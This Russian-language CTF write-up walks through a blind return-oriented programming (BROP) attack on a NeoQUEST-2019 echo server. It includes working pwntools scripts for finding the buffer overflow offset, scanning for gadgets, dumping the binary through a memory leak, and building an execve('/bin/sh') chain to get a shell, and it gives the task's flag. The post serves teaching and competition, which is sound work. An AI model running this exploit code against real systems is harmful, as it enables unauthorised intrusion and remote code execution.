17 Мая, 2019

Сервер, ты меня слышишь? BROP-атака на примере задания NeoQUEST-2019

НеоБИТ


Как найти уязвимость на сервере, не имея информации о нём? Чем BROP отличается от ROP? Можно ли скачать исполняемый файл с сервера через переполнение буфера? Добро пожаловать под кат, разберём ответы на эти вопросы на примере прохождения задания NeoQUEST-2019 !


Даны адрес и порт сервера: 213.170.100.211 10000. Попробуем подключиться к нему:



На первый взгляд — ничего особенного, обычный echo-сервер: возвращает нам то же, что мы ему сами и отправили.
Поиграв с размером передаваемых данных, можно заметить, что при достаточно большой длине строки сервер не выдерживает и прекращает соединение:



Хмм, похоже на переполнение.
Найдем длину буфера. Можно просто перебирать значения, инкрементируя их, пока мы не получим нестандартный вывод от сервера. А можно проявить немного смекалки и ускорить процесс при помощи бинарного поиска, проверяя, упал или не упал сервер после очередного запроса.

Определение длины буфера
from pwn import * import threading import time import sys  ADDR = "213.170.100.211" PORT = 10000  def find_offset():     start = 0     end = 200     while True:         conn = remote(ADDR, PORT)         curlen = (start + end) // 2          print("Testing {}".format(curlen))          payload = b'xff' * curlen          conn.send(payload)         time.sleep(0.5)         r = conn.recv()         payload = b'xff' * (curlen)         conn.send(payload)         try:             r = conn.recv()             start = curlen              payload = b'xff' * (curlen + 1)             conn.send(payload)             time.sleep(0.5)             r = conn.recv()              conn.send(payload)             try:                 r = conn.recv()             except EOFError:                 print("
Buffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1





Итак, длина буфера равна 136. Если отправить серверу 136 байт, то мы перетираем нульбайт в конце нашей строки на стек и получаем идущие за ней данные – значение 0x400155. А это, судя по всему, является адресом возврата. Таким образом, мы можем контролировать поток исполнения. Но самого исполняемого файла у нас нет, и мы не знаем, где именно могут располагаться ROP-гаджеты, которые бы позволили нам получить шелл.

Что же можно с этим сделать?

Существует специальная техника, которая позволяет решать такого рода задачи при условии контролирования адреса возврата – Blind Return Oriented Programming . По сути, BROP – это сканирование «вслепую» исполняемого файла на предмет гаджетов. Мы перезаписываем адрес возврата каким-либо адресом из text-сегмента, выставляем на стеке параметры для искомого гаджета и анализируем поведение программы. По итогам анализа рождается предположение, угадали мы или нет. Важную роль играют специальные вспомогательные гаджеты – Stop(его выполнение не приведет к завершению работы программы) и Trap (его выполнение заставит программу завершиться). Таким образом, сначала находятся вспомогательные гаджеты, и с их помощью уже ищутся нужные (как правило, для того, чтобы вызвать write и получить исполняемый файл).

Например, мы хотим найти гаджет, который помещает одно значение со стека в регистр и выполняет ret. Будем записывать тестируемый адрес вместо адреса возврата, чтобы передать на него управление. После него запишем адрес ранее найденного нами Trap-гаджета, и за ним – адрес Stop-гаджета. Что в итоге получается: если сервер упал (сработал Trap), то по текущему тестируемому адресу расположен гаджет, который не соответствует искомому: он не убирает адрес Trap-гаджета со стека. Если же сработал Stop, то текущий гаджет может быть как раз тем, который мы и ищем: он убрал одно значение со стека. Таким образом можно искать гаджеты, соответствующие определенному поведению.



Но в данном случае перебор можно упростить. Мы точно знаем, что сервер печатает нам какое-то значение в ответ. Можно попробовать просканировать различные адреса в исполняемом файле, и посмотреть, не попадем ли мы снова на код, выводящий строку.

Обнаружение гаджета
lock = threading.Lock()  def safe_get_next(gen):     with lock:         return next(gen)  def find_puts(offiter, buffsize, base=0x400000):      offset = 0      while True:         conn = remote(ADDR, PORT)          try:             offset = safe_get_next(offiter)         except StopIteration:             return          payload = b'A' * buffsize         payload += p64(base + offset)          if offset % 0x10 == 0:             print("Checking address {:#x}".format(base + offset), flush=True)          conn.send(payload)         time.sleep(2)          try:             r = conn.recv()             r = r.strip(b'A' * buffsize)[3:]             if len(r) > 0:                 print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True)         except:             pass         finally:             conn.close()  offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts,  args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)





Как же нам с помощью этой утечки получить исполняемый файл?

Мы знаем, что сервер пишет строку в ответ. Когда переходим по адресу 0x40016f, параметры функции вывода заполнены каким-то мусором. Так как, судя по адресу возврата, мы имеем дело с 64-разрядным исполняемым файлом, параметры функций располагаются в регистрах.

А что, если бы мы нашли такой гаджет, который бы позволил нам контролировать содержимое регистров (помещать их туда со стека)? Давайте попробуем найти его, используя ту же технику. Мы можем положить любое значение на стек, верно? Значит, нам нужно отыскать pop-гаджет, который бы помещал наше значение в нужный регистр перед вызовом функции вывода. Положим в качестве адреса строки адрес начала ELF-файла (0x400000). Если мы найдем нужный гаджет, то сервер должен будет напечатать в ответ сигнатуру 7F 45 4C 46.



Поиск гаджета продолжается
def find_pop(offiter, buffsize, puts, base=0x400000):      offset = 0      while True:         conn = remote(ADDR, PORT)          try:             offset = safe_get_next(offiter)         except StopIteration:             return          if offset % 0x10 == 0:             print("Checking address {:#x}".format(base + offset), flush=True)          payload = b'A' * buffsize         payload += p64(base + offset)         payload += p64(0x400001)         payload += p64(puts)          conn.send(payload)         time.sleep(1)          try:             r = conn.recv()             r = r.strip(b'A' * buffsize)[3:]             if b'ELF' in r:                 print("Binary leak at at {:#x}".format(base + offset), flush=True)         except:             pass         finally:             conn.close()   offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop,  args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start()     	time.sleep(1)





Используя полученную связку адресов, выкачаем исполняемый файл с сервера.

Извлечение файла
def dump(buffsize, pop, puts, offset, base=0x400000):     conn = remote(ADDR, PORT)      payload = b'A' * buffsize     payload += p64(pop)     payload += p64(base + offset) # what to dump     payload += p64(puts)      conn.send(payload)     time.sleep(0.5)     r = conn.recv()      r = r.strip(b'A' * buffsize)      conn.close()      if r[3:]:         return r[3:]      return None



Посмотрим его в IDA:



Адрес 0x40016f ведет нас к syscall, а 0x40017fpop rsi; ret.
Теперь, имея на руках исполняемый файл, можно построить ROP-цепочку. Тем более, что в нем оказалась еще и строка /bin/sh!



Сформируем цепочку, которая бы вызвала system с аргументом /bin/sh. Информацию по системным вызовам в 64-битном Linux можно найти, например, тут .

Последний шажочек
def get_shell(buffsize, base=0x400000):     conn = remote(ADDR, PORT)      payload = b'A' * buffsize     payload += p64(base + 0x17d)     payload += p64(59)     payload += p64(0)     payload += p64(0)     payload += p64(base + 0x1ce)     payload += p64(base + 0x1d0)     payload += p64(base + 0x17b)      conn.send(payload)     conn.interactive()



Запустим эксплоит и получим шелл:



Победа!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

Совсем скоро появятся врайтапы и к остальным заданиям online-этапа NeoQUEST-2019. А «Очная ставка» состоится уже 26 июня! Новости будут появляться на сайте мероприятия, не пропустите!